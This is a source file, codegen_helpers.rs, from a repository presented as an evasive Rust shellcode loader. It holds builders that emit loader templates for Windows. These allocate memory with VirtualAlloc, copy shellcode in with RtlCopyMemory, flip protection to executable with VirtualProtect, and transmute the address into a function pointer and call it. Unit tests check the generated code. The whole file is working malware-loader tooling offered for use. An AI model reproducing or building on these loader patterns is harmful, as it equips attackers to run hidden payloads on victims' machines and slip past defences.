myph-v2~ rust shellcode loader with evasive capabilities |
| git clone https://github.com/djnnvx/myph-v2.git |
| log | files | refs | archive | README |
codegen_helpers.rs (8162B)
1 //! Helper functions for generating common code patterns in technique templates 2 3 /// Format a function parameter for extern declarations 4 pub fn format_param(name: &str, type_str: &str) -> String { 5 format!(" {}: {}", name, type_str) 6 } 7 8 /// Memory protection flags 9 pub mod protection_flags { 10 pub const READWRITE: &str = "PAGE_READWRITE"; 11 pub const EXECUTE_READ: &str = "PAGE_EXECUTE_READ"; 12 pub const EXECUTE_READWRITE: &str = "PAGE_EXECUTE_READWRITE"; 13 } 14 15 /// Generate an extern block with multiple functions 16 pub struct ExternBlockBuilder { 17 library: String, 18 functions: Vec<String>, 19 } 20 21 impl ExternBlockBuilder { 22 pub fn new(library: &str) -> Self { 23 Self { 24 library: library.to_string(), 25 functions: Vec::new(), 26 } 27 } 28 29 pub fn add_function(mut self, signature: &str) -> Self { 30 self.functions.push(format!(" {}", signature)); 31 self 32 } 33 34 pub fn build(self) -> String { 35 format!( 36 r#"#[link(name = "{}")] 37 extern "system" {{ 38 {} 39 }}"#, 40 self.library, 41 self.functions.join("\n\n") 42 ) 43 } 44 } 45 46 /// Generate a simple function signature 47 pub fn simple_function(name: &str, params: &[(&str, &str)], ret: &str) -> String { 48 let param_list = params 49 .iter() 50 .map(|(n, t)| format!(" {}: {}", n, t)) 51 .collect::<Vec<_>>() 52 .join(",\n"); 53 54 if ret.is_empty() { 55 format!("fn {}(\n{}\n );", name, param_list) 56 } else { 57 format!("fn {}(\n{}\n ) -> {};", name, param_list, ret) 58 } 59 } 60 61 /// Builder for common memory allocation pattern: VirtualAlloc + RtlCopyMemory + VirtualProtect 62 pub struct MemoryAllocationBuilder { 63 addr_var: String, 64 protection: String, 65 use_virtual_protect: bool, 66 indent: String, 67 } 68 69 impl MemoryAllocationBuilder { 70 pub fn new() -> Self { 71 Self { 72 addr_var: "addr".to_string(), 73 protection: protection_flags::READWRITE.to_string(), 74 use_virtual_protect: false, 75 indent: " ".to_string(), 76 } 77 } 78 79 pub fn with_addr_var(mut self, var: &str) -> Self { 80 self.addr_var = var.to_string(); 81 self 82 } 83 84 pub fn with_protection(mut self, protection: &str) -> Self { 85 self.protection = protection.to_string(); 86 self 87 } 88 89 pub fn with_virtual_protect(mut self, enabled: bool) -> Self { 90 self.use_virtual_protect = enabled; 91 self 92 } 93 94 pub fn with_indent(mut self, indent: &str) -> Self { 95 self.indent = indent.to_string(); 96 self 97 } 98 99 pub fn build(&self) -> String { 100 let virtual_protect_code = if self.use_virtual_protect { 101 format!( 102 r#" 103 {}let mut old_protect: u32 = {}; 104 {}let result = VirtualProtect({} as *mut std::ffi::c_void, shellcode.len(), PAGE_EXECUTE_READ, &mut old_protect); 105 106 {}if result == 0 {{ 107 {} panic!("failed"); 108 {}}}"#, 109 self.indent, 110 self.protection, 111 self.indent, 112 self.addr_var, 113 self.indent, 114 self.indent, 115 self.indent 116 ) 117 } else { 118 String::new() 119 }; 120 121 format!( 122 r#"let {addr} = VirtualAlloc( 123 {indent} ptr::null_mut(), 124 {indent} shellcode.len(), 125 {indent} MEM_COMMIT | MEM_RESERVE, 126 {indent} {protection}, 127 {indent}); 128 129 {indent}if {addr}.is_null() {{ 130 {indent} panic!("failed"); 131 {indent}}} 132 133 {indent}RtlCopyMemory( 134 {indent} {addr}, 135 {indent} shellcode.as_ptr() as *const std::ffi::c_void, 136 {indent} shellcode.len(), 137 {indent});{vp_code}"#, 138 addr = self.addr_var, 139 indent = self.indent, 140 protection = self.protection, 141 vp_code = virtual_protect_code 142 ) 143 } 144 } 145 146 impl Default for MemoryAllocationBuilder { 147 fn default() -> Self { 148 Self::new() 149 } 150 } 151 152 /// Generate error checking pattern for null pointers 153 pub fn null_check(var_name: &str, indent: &str) -> String { 154 format!( 155 r#"if {}.is_null() {{ 156 {} panic!("failed"); 157 {}}}"#, 158 var_name, indent, indent 159 ) 160 } 161 162 /// Generate error checking pattern for integer results 163 pub fn result_check(var_name: &str, check_value: &str, indent: &str) -> String { 164 format!( 165 r#"if {} == {} {{ 166 {} panic!("failed"); 167 {}}}"#, 168 var_name, check_value, indent, indent 169 ) 170 } 171 172 /// Generate shellcode execution pattern (transmute to function pointer) 173 pub fn shellcode_execution(addr_var: &str, indent: &str) -> String { 174 format!( 175 r#"let shellcode_fn: extern "C" fn() = std::mem::transmute({}); 176 {}shellcode_fn();"#, 177 addr_var, indent 178 ) 179 } 180 181 #[cfg(test)] 182 mod tests { 183 use super::*; 184 185 #[test] 186 fn test_format_param() { 187 let result = format_param("handle", "*mut std::ffi::c_void"); 188 assert_eq!(result, " handle: *mut std::ffi::c_void"); 189 } 190 191 #[test] 192 fn test_extern_block_builder() { 193 let block = ExternBlockBuilder::new("kernel32") 194 .add_function("fn Sleep(milliseconds: u32);") 195 .add_function("fn GetLastError() -> u32;") 196 .build(); 197 198 assert!(block.contains(r#"#[link(name = "kernel32")]"#)); 199 assert!(block.contains("extern \"system\"")); 200 assert!(block.contains("fn Sleep(milliseconds: u32);")); 201 assert!(block.contains("fn GetLastError() -> u32;")); 202 } 203 204 #[test] 205 fn test_simple_function() { 206 let result = simple_function( 207 "VirtualAlloc", 208 &[ 209 ("address", "*const std::ffi::c_void"), 210 ("size", "usize"), 211 ("allocation_type", "u32"), 212 ("protect", "u32"), 213 ], 214 "*mut std::ffi::c_void", 215 ); 216 217 assert!(result.contains("fn VirtualAlloc(")); 218 assert!(result.contains("address: *const std::ffi::c_void")); 219 assert!(result.contains(") -> *mut std::ffi::c_void;")); 220 } 221 222 #[test] 223 fn test_simple_function_no_return() { 224 let result = simple_function("RtlCopyMemory", &[("dest", "*mut c_void")], ""); 225 226 assert!(result.contains("fn RtlCopyMemory(")); 227 assert!(result.contains("dest: *mut c_void")); 228 assert!(result.contains(");")); 229 assert!(!result.contains("->")); 230 } 231 232 #[test] 233 fn test_memory_allocation_builder_basic() { 234 let code = MemoryAllocationBuilder::new().build(); 235 236 assert!(code.contains("VirtualAlloc")); 237 assert!(code.contains("RtlCopyMemory")); 238 assert!(code.contains("addr")); 239 assert!(code.contains("PAGE_READWRITE")); 240 assert!(!code.contains("VirtualProtect")); 241 } 242 243 #[test] 244 fn test_memory_allocation_builder_with_protect() { 245 let code = MemoryAllocationBuilder::new() 246 .with_virtual_protect(true) 247 .build(); 248 249 assert!(code.contains("VirtualAlloc")); 250 assert!(code.contains("RtlCopyMemory")); 251 assert!(code.contains("VirtualProtect")); 252 assert!(code.contains("PAGE_EXECUTE_READ")); 253 assert!(code.contains("old_protect")); 254 } 255 256 #[test] 257 fn test_memory_allocation_builder_custom_var() { 258 let code = MemoryAllocationBuilder::new() 259 .with_addr_var("memory_addr") 260 .with_protection(protection_flags::EXECUTE_READWRITE) 261 .build(); 262 263 assert!(code.contains("let memory_addr =")); 264 assert!(code.contains("PAGE_EXECUTE_READWRITE")); 265 } 266 267 #[test] 268 fn test_null_check() { 269 let code = null_check("addr", " "); 270 assert!(code.contains("if addr.is_null()")); 271 assert!(code.contains("panic!(\"failed\")")); 272 } 273 274 #[test] 275 fn test_result_check() { 276 let code = result_check("result", "0", " "); 277 assert!(code.contains("if result == 0")); 278 assert!(code.contains("panic!(\"failed\")")); 279 } 280 281 #[test] 282 fn test_shellcode_execution() { 283 let code = shellcode_execution("addr", " "); 284 assert!(code.contains("let shellcode_fn: extern \"C\" fn()")); 285 assert!(code.contains("std::mem::transmute(addr)")); 286 assert!(code.contains("shellcode_fn()")); 287 } 288 }